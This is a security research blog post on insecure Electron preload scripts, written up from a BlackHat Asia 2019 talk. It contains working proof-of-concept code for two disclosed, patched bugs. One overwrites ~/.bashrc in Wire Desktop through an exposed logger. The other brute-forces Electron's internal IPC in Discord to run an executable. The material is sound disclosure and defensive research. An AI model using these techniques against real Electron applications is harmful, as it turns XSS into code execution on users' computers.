

Subverting Electron Apps via Insecure Preload

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Content

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We're back from [BlackHat Asia 2019](#) where we introduced a relatively unexplored class of vulnerabilities affecting [Electron-based](#) applications.

Despite popular belief, secure-by-default settings are slowly becoming the norm and the dev community is gradually learning common pitfalls. Isolation is now widely deployed across all top Electron applications and so turning XSS into RCE isn't child's play anymore.

[\[image: From Alert to Calc\]](#)

BrowserWindow [preload](#) introduces a new and interesting attack vector. Even without a framework bug (e.g. `nodeIntegration` bypass), this neglected attack surface can be abused to bypass isolation and access Node.js primitives in a reliable manner.

You can download the slides of our talk from the official BlackHat Briefings archive: <http://i.blackhat.com/asia-19/Thu-March-28/bh-asia-Carettoni-Preloading-Insecurity-In-Your-Electron.pdf>

Preloading Insecurity In Your Electron

Preload is a mechanism to execute code before renderer scripts are loaded. This is generally employed by applications to export functions and objects to the page's `window` object as shown in the official documentation:

```
let win
app.on('ready', () => {
  win = new BrowserWindow({
    webPreferences: {
      sandbox: true,
      preload: 'preload.js'
    }
  })
  win.loadURL('http://google.com')
})
```

preload.js can contain custom logic to augment the renderer with easy-to-use functions or application-specific objects:

```
const fs = require('fs')
const { ipcRenderer } = require('electron')

// read a configuration file using the `fs` module
const buf = fs.readFileSync('allowed-popup-urls.json')
const allowedUrls = JSON.parse(buf.toString('utf8'))

const defaultWindowOpen = window.open

function customWindowOpen (url, ...args) {
  if (allowedUrls.indexOf(url) === -1) {
    ipcRenderer.sendSync('blocked-popup-notification', location.origin, url)
    return null
  }
  return defaultWindowOpen(url, ...args)
}

window.open = customWindowOpen

[...]
```

Through performing numerous assessments on behalf of our clients, we noticed a general lack of awareness around the risks introduced by preload scripts. Even in popular applications using all recommended [security best practices](#), we were able to turn boring XSS into RCE in a matter of hours.

This prompted us to further research the topic and categorize four types of **insecure preloads**:

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(1) Preload scripts can reintroduce *Node* global symbols back to the global scope

While it is evident that reintroducing some Node global symbols (e.g. `process`) to the renderer is dangerous, the risk is not immediately obvious for classes like `Buffer` (which can be leveraged for a `nodeIntegration` bypass)

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(2) Preload scripts can introduce functionalities that can be abused by untrusted code

Preload scripts have access to Node.js, and the functions exported by applications to the global `window` often include dangerous primitives

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(3) Preload scripts can facilitate `sandbox` bypasses

Even with `sandbox` enabled, preload scripts still have access to Node.js native classes and a few Electron modules. Once again, preload code can leak privileged APIs to untrusted code that could facilitate `sandbox` bypasses

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(4) Without `contextIsolation`, the integrity of preload scripts is not guaranteed

When isolated worlds are not in use, prototype pollution attacks can override preload script code. Malicious JavaScript running in the renderer can alter preload functions in order to return different data, bypass checks, etc.

In this blog post, we will analyze a couple of vulnerabilities belonging to group (2) which we discovered in two popular applications: [Wire App](#) and [Discord](#).

For more vulnerabilities and examples, please refer to our presentation.

WireApp Desktop Arbitrary File Write via Insecure Preload

[Wire App](#) is a self-proclaimed “*most secure collaboration platform*”. It’s a secure messaging app using end-to-end encryption for file sharing, voice, and video calls. The application implements isolation by using a `BrowserWindow` with `nodeIntegration` disabled, in which a `webview` HTML tag is used.

[\[image: Wire App frames\]](#)

Despite enforcing isolation, the `web-view-preload.js` preload file contains the following code:

```
const webViewLogger = new winston.Logger();
webViewLogger.add(winston.transports.File, {
  filename: logFilePath,
  handleExceptions: true,
});

webViewLogger.info(config.NAME, 'Version', config.VERSION);

// webapp uses global winston reference to define log level
global.winston = webViewLogger;
```

Code running in the isolated renderer (e.g. XSS) can override the logger's transport setting in order to obtain a file write primitive.

This issue can be easily verified by switching to the messages view:

```
window.document.getElementsByTagName("webview")[0].openDevTools();
```

Before executing the following code:

```
function formatme(args) {
  var logMessage = args.message;
  return logMessage;
}

winston.transports.file = (new winston.transports.file.__proto__.constructor({
  dirname: '/home/ikki/',
  level: 'error',
  filename: '.bashrc',
  json: false,
  formatter: formatme
})))

winston.error('xcalc &');
```

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This issue affected all supported platforms (Windows, Mac, Linux). As the sandbox entitlement is enabled on macOS, an attacker would need to chain this issue with another bug to write outside the application folders. Please note that since it is possible to override some application files, RCE may still be possible without a macOS sandbox bypass.

A security patch was released on [March 14, 2019](#), just few days after our disclosure.

Discord Desktop Arbitrary IPC via Insecure Preload

[Discord](#) is a popular voice and text chat used by over 250 million gamers. The application implements isolation by simply using a `BrowserWindow` with `nodeIntegration` disabled. Despite that, the preload script (`app/mainScreenPreload.js`) in use by the same `BrowserWindow` contains multiple exports including the following:

```
var DiscordNative = {
  isRenderer: process.type === 'renderer',
  //..
  ipc: require('./discord_native/ipc'),
};

//..

process.once('loaded', function () {
  global.DiscordNative = DiscordNative;
  //..
})
```

where `app/discord_native/ipc.js` contains the following code:

```
var electron = require('electron');
var ipcRenderer = electron.ipcRenderer;

function send(event) {
  for (var _len = arguments.length, args = Array(_len > 1 ? _len - 1 : 0), _key = 1; _key < _len; _key++) {
    args[_key - 1] = arguments[_key];
  }

  ipcRenderer.send.apply(ipcRenderer, [event].concat(args));
}

function on(event, callback) {
  ipcRenderer.on(event, callback);
}

module.exports = {
  send: send,
  on: on
};
```

Without going into details, this script is basically a wrapper for the official Electron's [asynchronous IPC mechanism](#) in order to exchange messages from the render process (web page) to the main process.

In Electron, `ipcMain` and `ipcRenderer` modules are used to implement IPC between the main process and the renderers but they're also leveraged for internal native framework invocations. For instance, the `window.close()` function is implemented using the following event listener:

```
// Implements window.close()
ipcMainInternal.on('ELECTRON_BROWSER_WINDOW_CLOSE', function (event) {
  const window = event.sender.getOwnerBrowserWindow()
  if (window) {
    window.close()
  }
  event.returnValue = null
})
```

As there's no separation between application-level IPC messages and the `ELECTRON_` internal channel, the ability to set arbitrary channel names allows untrusted code in the renderer to subvert the framework's security mechanism.

For example, the following synchronous IPC calls can be used to execute an arbitrary binary:

```
(function () {
  var ipcRenderer = require('electron').ipcRenderer
  var electron = ipcRenderer.sendSync("ELECTRON_BROWSER_REQUIRE", "electron");
  var shell = ipcRenderer.sendSync("ELECTRON_BROWSER_MEMBER_GET", electron.id,
    "shell");
  return ipcRenderer.sendSync("ELECTRON_BROWSER_MEMBER_CALL", shell.id, "openExternal",
    [{
      type: 'value',
      value: "file:///Applications/Calculator.app"
    }]);
})();
```

In the case of the Discord's preload, an attacker can issue asynchronous IPC messages with arbitrary channels. While it is not possible to obtain a reference of the objects from the function exposed in the untrusted window, an attacker can still brute-force the reference of the `child_process` using the following code:

```
DiscordNative.ipc.send("ELECTRON_BROWSER_REQUIRE", "child_process");

for(var i=0; i<50; i++){
  DiscordNative.ipc.send("ELECTRON_BROWSER_MEMBER_CALL", i, "exec", [{
    type: 'value',
    value: "calc.exe"
  }]);
}
```

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This issue affected all supported platforms (Windows, Mac, Linux). A security patch was released at the beginning of 2019. Additionally, Discord also removed backwards compatibility code with old clients.

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